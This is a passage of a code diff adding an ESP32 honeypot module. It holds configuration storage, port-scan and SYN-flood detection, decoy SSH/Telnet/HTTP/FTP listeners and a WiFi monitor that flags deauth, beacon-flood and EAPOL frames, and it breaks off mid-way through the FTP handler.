static const char *_default_banner(const char *service)
{
for (size_t i = 0; i < NUM_BANNERS; i++) {
if (strcmp(default_banners[i].service, service) == 0)
return default_banners[i].banner;
}
return "";
}
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
if (err == ESP_OK) {
char key[16];
snprintf(key, sizeof(key), "b_%s", service);
size_t len = out_len;
err = nvs_get_str(h, key, out, &len);
nvs_close(h);
if (err == ESP_OK)
return ESP_OK;
}
/* Fall back to compile-time default */
const char *def = _default_banner(service);
snprintf(out, out_len, "%s", def);
return ESP_OK;
}
esp_err_t hp_config_set_banner(const char *service, const char *value)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
char key[16];
snprintf(key, sizeof(key), "b_%s", service);
err = nvs_set_str(h, key, value);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Threshold helpers
* ============================================================ */
static int _default_threshold(const char *key)
{
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
if (strcmp(default_thresholds[i].key, key) == 0)
return default_thresholds[i].value;
}
return 0;
}
int hp_config_get_threshold(const char *key)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READONLY, &h);
if (err == ESP_OK) {
char nkey[16];
snprintf(nkey, sizeof(nkey), "t_%s", key);
int32_t val = 0;
err = nvs_get_i32(h, nkey, &val);
nvs_close(h);
if (err == ESP_OK)
return (int)val;
}
return _default_threshold(key);
}
esp_err_t hp_config_set_threshold(const char *key, int value)
{
/* Clamp to sane range */
if (value < 1) value = 1;
if (value > 10000) value = 10000;
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
char nkey[16];
snprintf(nkey, sizeof(nkey), "t_%s", key);
err = nvs_set_i32(h, nkey, (int32_t)value);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
return err;
}
/* ============================================================
* Reset
* ============================================================ */
esp_err_t hp_config_reset_all(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err != ESP_OK) return err;
err = nvs_erase_all(h);
if (err == ESP_OK) err = nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Config reset to defaults");
return err;
}
/* ============================================================
* List
* ============================================================ */
int hp_config_list(const char *type_filter, char *buf, size_t buf_len)
{
int off = 0;
bool show_banners = (!type_filter || !type_filter[0] ||
strcmp(type_filter, "banner") == 0);
bool show_thresholds = (!type_filter || !type_filter[0] ||
strcmp(type_filter, "threshold") == 0);
if (show_banners) {
for (size_t i = 0; i < NUM_BANNERS; i++) {
char val[128];
hp_config_get_banner(default_banners[i].service, val, sizeof(val));
/* Truncate for display (strip \r\n) */
char *p = val;
while (*p && *p != '\r' && *p != '\n') p++;
*p = '\0';
off += snprintf(buf + off, buf_len - off,
"banner_%s=%s ", default_banners[i].service, val);
}
}
if (show_thresholds) {
for (size_t i = 0; i < NUM_THRESHOLDS; i++) {
int val = hp_config_get_threshold(default_thresholds[i].key);
off += snprintf(buf + off, buf_len - off,
"threshold_%s=%d ", default_thresholds[i].key, val);
}
}
return off;
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,29 @@
/*
* hp_config.h
* NVS-backed runtime configuration for honeypot services.
*
* Two config types:
* "banner" per-service banner strings (ssh, telnet, ftp, http)
* "threshold" detection thresholds (portscan, synflood, icmp, udpflood, arpflood, tarpit_ms)
*/
#pragma once
#include "esp_err.h"
#include <stdint.h>
/* Initialise NVS namespace (call once at registration time) */
void hp_config_init(void);
/* banner get/set — returns ESP_OK or ESP_ERR_* */
esp_err_t hp_config_get_banner(const char *service, char *out, size_t out_len);
esp_err_t hp_config_set_banner(const char *service, const char *value);
/* threshold get/set */
int hp_config_get_threshold(const char *key);
esp_err_t hp_config_set_threshold(const char *key, int value);
/* Reset all config to compile-time defaults */
esp_err_t hp_config_reset_all(void);
/* List all config as key=value pairs into buf (for status responses) */
int hp_config_list(const char *type_filter, char *buf, size_t buf_len);

View File

@ -0,0 +1,331 @@
/*
* hp_net_monitor.c
* Network anomaly detector: port scan, SYN flood.
*
* Uses a raw TCP socket (LWIP) to inspect incoming SYN packets.
* Maintains a per-IP tracking table (max 32 entries) with sliding
* window counters. Sends HP| events when thresholds are exceeded.
*
* Note: ARP monitoring requires LWIP netif hooks (layer 2) and is
* not possible via raw sockets. May be added via etharp callback later.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include <stdatomic.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "lwip/sockets.h"
#include "utils.h"
#include "event_format.h"
#include "hp_config.h"
#include "hp_net_monitor.h"
#define TAG "HP_NET"
#define NET_MON_STACK 4096
#define NET_MON_PRIO 4
#define NET_MON_CORE 1
/* Tracking table */
#define MAX_TRACKED_IPS 32
#define WINDOW_SEC 10 /* Sliding window for detections */
/* ============================================================
* IP tracker entry
* ============================================================ */
typedef struct {
uint32_t ip; /* Network byte order */
uint32_t first_seen; /* Tick count (ms) */
uint32_t last_seen;
uint16_t unique_ports[32]; /* Ring buffer of destination ports */
uint8_t port_idx;
uint8_t port_count;
uint32_t syn_count; /* SYN packets in window */
bool portscan_alerted;
bool synflood_alerted;
} ip_tracker_t;
/* ============================================================
* State
* ============================================================ */
static atomic_bool net_running = false;
static atomic_bool net_stop_req = false;
static TaskHandle_t net_task = NULL;
static SemaphoreHandle_t tracker_mutex = NULL;
static ip_tracker_t trackers[MAX_TRACKED_IPS];
static int tracker_count = 0;
static uint32_t total_port_scans = 0;
static uint32_t total_syn_floods = 0;
/* ============================================================
* Tracker helpers
* ============================================================ */
static uint32_t now_ms(void)
{
return (uint32_t)(xTaskGetTickCount() * portTICK_PERIOD_MS);
}
static void ip_to_str(uint32_t ip_nbo, char *buf, size_t len)
{
uint8_t *b = (uint8_t *)&ip_nbo;
snprintf(buf, len, "%d.%d.%d.%d", b[0], b[1], b[2], b[3]);
}
static ip_tracker_t *find_or_create_tracker(uint32_t ip)
{
uint32_t now = now_ms();
/* Search existing */
for (int i = 0; i < tracker_count; i++) {
if (trackers[i].ip == ip)
return &trackers[i];
}
/* Evict oldest if full */
if (tracker_count >= MAX_TRACKED_IPS) {
int oldest_idx = 0;
uint32_t oldest_time = trackers[0].last_seen;
for (int i = 1; i < tracker_count; i++) {
if (trackers[i].last_seen < oldest_time) {
oldest_time = trackers[i].last_seen;
oldest_idx = i;
}
}
if (oldest_idx < tracker_count - 1)
trackers[oldest_idx] = trackers[tracker_count - 1];
tracker_count--;
}
ip_tracker_t *t = &trackers[tracker_count++];
memset(t, 0, sizeof(*t));
t->ip = ip;
t->first_seen = now;
t->last_seen = now;
return t;
}
static void expire_trackers(void)
{
uint32_t now = now_ms();
uint32_t window = WINDOW_SEC * 1000;
for (int i = 0; i < tracker_count; ) {
if ((now - trackers[i].last_seen) > window * 3) {
if (i < tracker_count - 1)
trackers[i] = trackers[tracker_count - 1];
tracker_count--;
} else {
if ((now - trackers[i].first_seen) > window) {
trackers[i].syn_count = 0;
trackers[i].port_count = 0;
trackers[i].port_idx = 0;
trackers[i].first_seen = now;
trackers[i].portscan_alerted = false;
trackers[i].synflood_alerted = false;
}
i++;
}
}
}
static bool port_already_seen(ip_tracker_t *t, uint16_t port)
{
for (int i = 0; i < t->port_count && i < 32; i++) {
if (t->unique_ports[i] == port)
return true;
}
return false;
}
/* ============================================================
* Event recording
* ============================================================ */
static void record_syn(uint32_t src_ip, uint16_t dst_port)
{
if (!tracker_mutex ||
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) != pdTRUE)
return;
ip_tracker_t *t = find_or_create_tracker(src_ip);
t->last_seen = now_ms();
t->syn_count++;
/* Track unique ports for portscan detection */
if (!port_already_seen(t, dst_port)) {
t->unique_ports[t->port_idx % 32] = dst_port;
t->port_idx++;
t->port_count++;
}
/* Snapshot values before releasing mutex */
uint8_t port_count = t->port_count;
uint32_t syn_count = t->syn_count;
bool ps_alerted = t->portscan_alerted;
bool sf_alerted = t->synflood_alerted;
int ps_thresh = hp_config_get_threshold("portscan");
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
t->portscan_alerted = true;
total_port_scans++;
}
int sf_thresh = hp_config_get_threshold("synflood");
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
t->synflood_alerted = true;
total_syn_floods++;
}
xSemaphoreGive(tracker_mutex);
/* Send events outside mutex to avoid blocking */
if (port_count >= (uint8_t)ps_thresh && !ps_alerted) {
char ip_str[16];
ip_to_str(src_ip, ip_str, sizeof(ip_str));
char detail[64];
snprintf(detail, sizeof(detail), "unique_ports=%d window=%ds",
port_count, WINDOW_SEC);
event_send("PORT_SCAN", "HIGH", "00:00:00:00:00:00",
ip_str, 0, 0, detail, NULL);
}
if (syn_count >= (uint32_t)sf_thresh && !sf_alerted) {
char ip_str[16];
ip_to_str(src_ip, ip_str, sizeof(ip_str));
char detail[64];
snprintf(detail, sizeof(detail), "syn_count=%lu window=%ds",
(unsigned long)syn_count, WINDOW_SEC);
event_send("SYN_FLOOD", "CRITICAL", "00:00:00:00:00:00",
ip_str, 0, 0, detail, NULL);
}
}
/* ============================================================
* Raw socket listener task
* ============================================================ */
static void net_monitor_task(void *arg)
{
(void)arg;
int raw_fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (raw_fd < 0) {
ESP_LOGE(TAG, "raw socket failed: %d", errno);
goto done;
}
struct timeval tv = { .tv_sec = 1, .tv_usec = 0 };
setsockopt(raw_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
ESP_LOGI(TAG, "Network monitor started");
net_running = true;
uint8_t pkt_buf[128];
while (!net_stop_req) {
struct sockaddr_in src_addr;
socklen_t addr_len = sizeof(src_addr);
int n = recvfrom(raw_fd, pkt_buf, sizeof(pkt_buf), 0,
(struct sockaddr *)&src_addr, &addr_len);
if (n > 0) {
uint8_t ihl = (pkt_buf[0] & 0x0F) * 4;
if (ihl < 20 || n < ihl + 20)
goto next;
uint8_t *tcp = pkt_buf + ihl;
uint16_t dst_port = (tcp[2] << 8) | tcp[3];
uint8_t flags = tcp[13];
/* SYN set, ACK not set → connection initiation */
if ((flags & 0x02) && !(flags & 0x10)) {
record_syn(src_addr.sin_addr.s_addr, dst_port);
}
}
next:
if (tracker_mutex &&
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
expire_trackers();
xSemaphoreGive(tracker_mutex);
}
}
close(raw_fd);
done:
net_running = false;
net_stop_req = false;
ESP_LOGI(TAG, "Network monitor stopped");
net_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void hp_net_monitor_start(void)
{
if (net_running || net_task) {
ESP_LOGW(TAG, "Network monitor already running");
return;
}
if (!tracker_mutex)
tracker_mutex = xSemaphoreCreateMutex();
tracker_count = 0;
total_port_scans = total_syn_floods = 0;
memset(trackers, 0, sizeof(trackers));
net_stop_req = false;
BaseType_t ret = xTaskCreatePinnedToCore(net_monitor_task, "hp_net",
NET_MON_STACK, NULL, NET_MON_PRIO, &net_task, NET_MON_CORE);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create net monitor task");
net_task = NULL;
}
}
void hp_net_monitor_stop(void)
{
if (!net_running && !net_task) {
ESP_LOGW(TAG, "Network monitor not running");
return;
}
net_stop_req = true;
ESP_LOGI(TAG, "Network monitor stop requested");
}
bool hp_net_monitor_running(void)
{
return net_running;
}
int hp_net_monitor_status(char *buf, size_t len)
{
int count = 0;
if (tracker_mutex &&
xSemaphoreTake(tracker_mutex, pdMS_TO_TICKS(50)) == pdTRUE) {
count = tracker_count;
xSemaphoreGive(tracker_mutex);
}
return snprintf(buf, len,
"running=%s tracked_ips=%d port_scans=%lu syn_floods=%lu",
net_running ? "yes" : "no",
count,
(unsigned long)total_port_scans,
(unsigned long)total_syn_floods);
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,13 @@
/*
* hp_net_monitor.h
* Network anomaly detector: port scan, SYN flood, ARP flood/spoof.
* Runs a periodic task that inspects counters updated from raw sockets.
*/
#pragma once
#include <stdbool.h>
void hp_net_monitor_start(void);
void hp_net_monitor_stop(void);
bool hp_net_monitor_running(void);
int hp_net_monitor_status(char *buf, size_t len);

View File

@ -0,0 +1,204 @@
/*
* hp_tcp_services.c
* Generic TCP listener + public API for honeypot services.
* Service handlers live in services/svc_*.c
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <errno.h>
#include "esp_log.h"
#include "services/svc_common.h"
#include "hp_tcp_services.h"
#define TAG "HP_SVC"
#define SVC_STACK_SIZE 4096
#define SVC_PRIORITY 4
#define SVC_CORE 1
#define ACCEPT_TIMEOUT_S 2
#define CLIENT_TIMEOUT_S 5
/* ============================================================
* Service descriptors
* ============================================================ */
static hp_svc_desc_t services[HP_SVC_COUNT] = {
[HP_SVC_SSH] = { .name = "ssh", .port = 22 },
[HP_SVC_TELNET] = { .name = "telnet", .port = 23 },
[HP_SVC_HTTP] = { .name = "http", .port = 80 },
[HP_SVC_FTP] = { .name = "ftp", .port = 21 },
};
static const hp_client_handler_t handlers[HP_SVC_COUNT] = {
[HP_SVC_SSH] = handle_ssh_client,
[HP_SVC_TELNET] = handle_telnet_client,
[HP_SVC_HTTP] = handle_http_client,
[HP_SVC_FTP] = handle_ftp_client,
};
/* ============================================================
* Name <-> ID mapping
* ============================================================ */
int hp_svc_name_to_id(const char *name)
{
for (int i = 0; i < HP_SVC_COUNT; i++) {
if (strcmp(services[i].name, name) == 0)
return i;
}
return -1;
}
const char *hp_svc_id_to_name(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return "unknown";
return services[svc].name;
}
/* ============================================================
* Client IP helper
* ============================================================ */
static void sockaddr_to_str(const struct sockaddr_in *addr,
char *ip_buf, size_t ip_len,
uint16_t *port_out)
{
inet_ntoa_r(addr->sin_addr, ip_buf, ip_len);
*port_out = ntohs(addr->sin_port);
}
/* ============================================================
* Generic listener task
* ============================================================ */
static void listener_task(void *arg)
{
hp_svc_desc_t *svc = (hp_svc_desc_t *)arg;
int listen_fd = -1;
struct sockaddr_in addr = {
.sin_family = AF_INET,
.sin_port = htons(svc->port),
.sin_addr.s_addr = htonl(INADDR_ANY),
};
listen_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listen_fd < 0) {
ESP_LOGE(TAG, "%s: socket() failed: %d", svc->name, errno);
goto done;
}
int opt = 1;
setsockopt(listen_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
if (bind(listen_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
ESP_LOGE(TAG, "%s: bind(%d) failed: %d", svc->name, svc->port, errno);
goto done;
}
if (listen(listen_fd, 2) < 0) {
ESP_LOGE(TAG, "%s: listen() failed: %d", svc->name, errno);
goto done;
}
struct timeval tv = { .tv_sec = ACCEPT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(listen_fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
ESP_LOGI(TAG, "%s listening on port %d", svc->name, svc->port);
svc->running = true;
while (!svc->stop_req) {
struct sockaddr_in client_addr;
socklen_t clen = sizeof(client_addr);
int client_fd = accept(listen_fd,
(struct sockaddr *)&client_addr, &clen);
if (client_fd < 0) {
if (errno == EAGAIN || errno == EWOULDBLOCK)
continue;
ESP_LOGW(TAG, "%s: accept error: %d", svc->name, errno);
continue;
}
struct timeval ctv = { .tv_sec = CLIENT_TIMEOUT_S, .tv_usec = 0 };
setsockopt(client_fd, SOL_SOCKET, SO_RCVTIMEO, &ctv, sizeof(ctv));
char client_ip[16];
uint16_t client_port;
sockaddr_to_str(&client_addr, client_ip, sizeof(client_ip),
&client_port);
hp_svc_id_t id = (hp_svc_id_t)(svc - services);
if (id < HP_SVC_COUNT && handlers[id]) {
handlers[id](client_fd, client_ip, client_port, svc);
}
close(client_fd);
}
done:
if (listen_fd >= 0)
close(listen_fd);
svc->running = false;
svc->stop_req = false;
ESP_LOGI(TAG, "%s stopped", svc->name);
svc->task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void hp_svc_start(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return;
hp_svc_desc_t *d = &services[svc];
if (d->running || d->task) {
ESP_LOGW(TAG, "%s already running", d->name);
return;
}
d->stop_req = false;
d->connections = 0;
d->auth_attempts = 0;
char name[16];
snprintf(name, sizeof(name), "hp_%s", d->name);
BaseType_t ret = xTaskCreatePinnedToCore(listener_task, name, SVC_STACK_SIZE,
d, SVC_PRIORITY, &d->task, SVC_CORE);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create %s task", d->name);
d->task = NULL;
}
}
void hp_svc_stop(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return;
hp_svc_desc_t *d = &services[svc];
if (!d->running && !d->task) {
ESP_LOGW(TAG, "%s not running", d->name);
return;
}
d->stop_req = true;
ESP_LOGI(TAG, "%s stop requested", d->name);
}
bool hp_svc_running(hp_svc_id_t svc)
{
if (svc >= HP_SVC_COUNT) return false;
return services[svc].running;
}
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len)
{
if (svc >= HP_SVC_COUNT) return 0;
hp_svc_desc_t *d = &services[svc];
return snprintf(buf, len,
"service=%s running=%s port=%d connections=%lu auth_attempts=%lu",
d->name,
d->running ? "yes" : "no",
d->port,
(unsigned long)d->connections,
(unsigned long)d->auth_attempts);
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,30 @@
/*
* hp_tcp_services.h
* Lightweight TCP honeypot listeners (SSH, Telnet, HTTP, FTP).
* Each service runs as an independent FreeRTOS task.
*/
#pragma once
#include <stdbool.h>
typedef enum {
HP_SVC_SSH = 0,
HP_SVC_TELNET = 1,
HP_SVC_HTTP = 2,
HP_SVC_FTP = 3,
HP_SVC_COUNT
} hp_svc_id_t;
/* Start / stop a single service */
void hp_svc_start(hp_svc_id_t svc);
void hp_svc_stop(hp_svc_id_t svc);
bool hp_svc_running(hp_svc_id_t svc);
/* Get service status line (key=value format) */
int hp_svc_status(hp_svc_id_t svc, char *buf, size_t len);
/* Map service name string to id, returns -1 on unknown */
int hp_svc_name_to_id(const char *name);
/* Map id to name */
const char *hp_svc_id_to_name(hp_svc_id_t svc);

View File

@ -0,0 +1,320 @@
/*
* hp_wifi_monitor.c
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
* beacon flood, EAPOL capture detection.
*
* Sends EVT| events via event_send().
* Conflict guard: refuses to start if the fakeAP sniffer is active.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <stdio.h>
#include <string.h>
#include <stdatomic.h>
#include "esp_wifi.h"
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
#include "event_format.h"
#include "hp_config.h"
#include "hp_wifi_monitor.h"
#define TAG "HP_WIFI"
#define WIFI_MON_STACK 4096
#define WIFI_MON_PRIO 4
#define WIFI_MON_CORE 1
/* Rate-limit counters (only report every N-th event) */
#define PROBE_RATE_LIMIT 10
#define DEAUTH_RATE_LIMIT 5
#define BEACON_RATE_LIMIT 20
#define EAPOL_RATE_LIMIT 3
/* Beacon flood detection: N beacons in BEACON_WINDOW_MS from same src */
#define BEACON_FLOOD_THRESHOLD 50
#define BEACON_WINDOW_MS 5000
/* ============================================================
* State
* ============================================================ */
static atomic_bool mon_running = false;
static atomic_bool mon_stop_req = false;
static TaskHandle_t mon_task = NULL;
static uint32_t cnt_probe = 0;
static uint32_t cnt_deauth = 0;
static uint32_t cnt_beacon = 0;
static uint32_t cnt_eapol = 0;
/* Multi-source beacon flood tracker */
#define BEACON_TRACK_MAX 4
typedef struct {
uint8_t mac[6];
uint32_t count;
uint32_t start;
bool alerted;
} beacon_tracker_t;
static beacon_tracker_t beacon_trackers[BEACON_TRACK_MAX];
static int beacon_tracker_count = 0;
/* ============================================================
* IEEE 802.11 helpers
* ============================================================ */
/* Frame control subtypes */
#define WLAN_FC_TYPE_MGMT 0x00
#define WLAN_FC_STYPE_PROBE 0x40 /* Probe Request */
#define WLAN_FC_STYPE_BEACON 0x80 /* Beacon */
#define WLAN_FC_STYPE_DEAUTH 0xC0 /* Deauthentication */
/* EAPOL: data frame with ethertype 0x888E */
#define ETHERTYPE_EAPOL 0x888E
static void mac_to_str(const uint8_t *mac, char *buf, size_t len)
{
snprintf(buf, len, "%02x:%02x:%02x:%02x:%02x:%02x",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
/* ============================================================
* Beacon flood helper find or create tracker for MAC
* ============================================================ */
static beacon_tracker_t *beacon_find_or_create(const uint8_t *mac, uint32_t now)
{
/* Search existing */
for (int i = 0; i < beacon_tracker_count; i++) {
if (memcmp(beacon_trackers[i].mac, mac, 6) == 0)
return &beacon_trackers[i];
}
/* Evict oldest if full */
if (beacon_tracker_count >= BEACON_TRACK_MAX) {
int oldest = 0;
for (int i = 1; i < beacon_tracker_count; i++) {
if (beacon_trackers[i].start < beacon_trackers[oldest].start)
oldest = i;
}
if (oldest < beacon_tracker_count - 1)
beacon_trackers[oldest] = beacon_trackers[beacon_tracker_count - 1];
beacon_tracker_count--;
}
beacon_tracker_t *t = &beacon_trackers[beacon_tracker_count++];
memcpy(t->mac, mac, 6);
t->count = 0;
t->start = now;
t->alerted = false;
return t;
}
/* ============================================================
* Promiscuous RX callback
* ============================================================ */
static void wifi_monitor_rx_cb(void *buf, wifi_promiscuous_pkt_type_t type)
{
if (!mon_running)
return;
const wifi_promiscuous_pkt_t *pkt = (const wifi_promiscuous_pkt_t *)buf;
const uint8_t *frame = pkt->payload;
uint16_t frame_len = pkt->rx_ctrl.sig_len;
if (frame_len < 24)
return;
uint8_t fc0 = frame[0];
uint8_t fc_type = fc0 & 0x0C; /* bits 2-3 */
uint8_t fc_subtype = fc0 & 0xF0; /* bits 4-7 */
/* Source MAC (addr2 = transmitter) at offset 10 */
const uint8_t *src_mac = &frame[10];
char mac_str[18];
if (type == WIFI_PKT_MGMT) {
if (fc_type == WLAN_FC_TYPE_MGMT) {
/* --- Probe Request --- */
if (fc_subtype == WLAN_FC_STYPE_PROBE) {
cnt_probe++;
if ((cnt_probe % PROBE_RATE_LIMIT) == 1) {
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail), "count=%lu",
(unsigned long)cnt_probe);
event_send("WIFI_PROBE", "LOW",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
return;
}
/* --- Deauthentication --- */
if (fc_subtype == WLAN_FC_STYPE_DEAUTH) {
cnt_deauth++;
if ((cnt_deauth % DEAUTH_RATE_LIMIT) == 1) {
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail), "reason=%d count=%lu",
(frame_len >= 26) ? (frame[24] | (frame[25] << 8)) : 0,
(unsigned long)cnt_deauth);
event_send("WIFI_DEAUTH", "HIGH",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
return;
}
/* --- Beacon flood detection (multi-source) --- */
if (fc_subtype == WLAN_FC_STYPE_BEACON) {
uint32_t now = (uint32_t)(xTaskGetTickCount() *
portTICK_PERIOD_MS);
beacon_tracker_t *bt = beacon_find_or_create(src_mac, now);
if ((now - bt->start) >= BEACON_WINDOW_MS) {
/* Window expired, reset */
bt->start = now;
bt->count = 1;
bt->alerted = false;
} else {
bt->count++;
if (bt->count >= BEACON_FLOOD_THRESHOLD && !bt->alerted) {
bt->alerted = true;
cnt_beacon++;
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail),
"beacons=%lu window_ms=%d",
(unsigned long)bt->count,
BEACON_WINDOW_MS);
event_send("WIFI_BEACON_FLOOD", "HIGH",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
}
return;
}
}
}
/* --- EAPOL detection (data frames with 802.1X ethertype) --- */
if (type == WIFI_PKT_DATA && frame_len >= 36) {
/* LLC/SNAP header starts at offset 24 for data frames:
* 24: AA AA 03 00 00 00 [ethertype_hi] [ethertype_lo] */
if (frame[24] == 0xAA && frame[25] == 0xAA && frame[26] == 0x03) {
uint16_t ethertype = (frame[30] << 8) | frame[31];
if (ethertype == ETHERTYPE_EAPOL) {
cnt_eapol++;
if ((cnt_eapol % EAPOL_RATE_LIMIT) == 1) {
mac_to_str(src_mac, mac_str, sizeof(mac_str));
char detail[64];
snprintf(detail, sizeof(detail), "count=%lu",
(unsigned long)cnt_eapol);
event_send("WIFI_EAPOL", "CRITICAL",
mac_str, "0.0.0.0", 0, 0, detail, NULL);
}
}
}
}
}
/* ============================================================
* Monitor task (just keeps alive, callback does the work)
* ============================================================ */
static void wifi_monitor_task(void *arg)
{
(void)arg;
esp_err_t err = esp_wifi_set_promiscuous_rx_cb(wifi_monitor_rx_cb);
if (err != ESP_OK) {
ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(err));
goto done;
}
err = esp_wifi_set_promiscuous(true);
if (err != ESP_OK) {
ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(err));
goto done;
}
/* Filter: management + data frames only */
wifi_promiscuous_filter_t filter = {
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT |
WIFI_PROMIS_FILTER_MASK_DATA
};
esp_wifi_set_promiscuous_filter(&filter);
ESP_LOGI(TAG, "WiFi monitor started");
mon_running = true;
/* Idle loop, checking for stop request */
while (!mon_stop_req) {
vTaskDelay(pdMS_TO_TICKS(500));
}
esp_wifi_set_promiscuous(false);
esp_wifi_set_promiscuous_rx_cb(NULL);
done:
mon_running = false;
mon_stop_req = false;
ESP_LOGI(TAG, "WiFi monitor stopped");
mon_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
void hp_wifi_monitor_start(void)
{
if (mon_running || mon_task) {
ESP_LOGW(TAG, "WiFi monitor already running");
return;
}
cnt_probe = cnt_deauth = cnt_beacon = cnt_eapol = 0;
memset(beacon_trackers, 0, sizeof(beacon_trackers));
beacon_tracker_count = 0;
mon_stop_req = false;
BaseType_t ret = xTaskCreatePinnedToCore(wifi_monitor_task, "hp_wifi",
WIFI_MON_STACK, NULL, WIFI_MON_PRIO, &mon_task, WIFI_MON_CORE);
if (ret != pdPASS) {
ESP_LOGE(TAG, "Failed to create WiFi monitor task");
mon_task = NULL;
}
}
void hp_wifi_monitor_stop(void)
{
if (!mon_running && !mon_task) {
ESP_LOGW(TAG, "WiFi monitor not running");
return;
}
mon_stop_req = true;
ESP_LOGI(TAG, "WiFi monitor stop requested");
}
bool hp_wifi_monitor_running(void)
{
return mon_running;
}
int hp_wifi_monitor_status(char *buf, size_t len)
{
return snprintf(buf, len,
"running=%s probes=%lu deauth=%lu beacon_flood=%lu eapol=%lu",
mon_running ? "yes" : "no",
(unsigned long)cnt_probe,
(unsigned long)cnt_deauth,
(unsigned long)cnt_beacon,
(unsigned long)cnt_eapol);
}
#endif /* CONFIG_MODULE_HONEYPOT */

View File

@ -0,0 +1,13 @@
/*
* hp_wifi_monitor.h
* WiFi promiscuous-mode monitor: probe requests, deauth frames,
* beacon flood, EAPOL capture detection.
*/
#pragma once
#include <stdbool.h>
void hp_wifi_monitor_start(void);
void hp_wifi_monitor_stop(void);
bool hp_wifi_monitor_running(void);
int hp_wifi_monitor_status(char *buf, size_t len);

View File

@ -0,0 +1,41 @@
/*
* svc_common.h
* Shared types and helpers for honeypot TCP service handlers.
*/
#pragma once
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdbool.h>
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "lwip/sockets.h"
#include "utils.h"
#include "event_format.h"
#include "hp_config.h"
#define MAX_CLIENT_BUF 256
/* Service runtime descriptor (owned by hp_tcp_services.c) */
typedef struct {
const char *name;
uint16_t port;
volatile bool running;
volatile bool stop_req;
TaskHandle_t task;
uint32_t connections;
uint32_t auth_attempts;
} hp_svc_desc_t;
/* Client handler signature */
typedef void (*hp_client_handler_t)(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc);
/* Per-service handlers (implemented in svc_*.c) */
void handle_ssh_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
void handle_telnet_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
void handle_http_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);
void handle_ftp_client(int fd, const char *ip, uint16_t port, hp_svc_desc_t *svc);

View File

@ -0,0 +1,68 @@
/*
* svc_ftp.c
* FTP honeypot handler banner + USER/PASS capture + tarpit.
*/
#include "sdkconfig.h"
#ifdef CONFIG_MODULE_HONEYPOT
#include <strings.h>
#include "svc_common.h"
void handle_ftp_client(int client_fd, const char *client_ip,
uint16_t client_port, hp_svc_desc_t *svc)
{
char banner[128];
hp_config_get_banner("ftp", banner, sizeof(banner));
send(client_fd, banner, strlen(banner), 0);
svc->connections++;
event_send("SVC_CONNECT", "LOW", "00:00:00:00:00:00",
client_ip, client_port, 21, "service=ftp", NULL);
char user[64] = {0}, pass[64] = {0};
for (int round = 0; round < 4; round++) {
char buf[MAX_CLIENT_BUF];
int n = recv(client_fd, buf, sizeof(buf) - 1, 0);
if (n <= 0) break;
buf[n] = '\0';
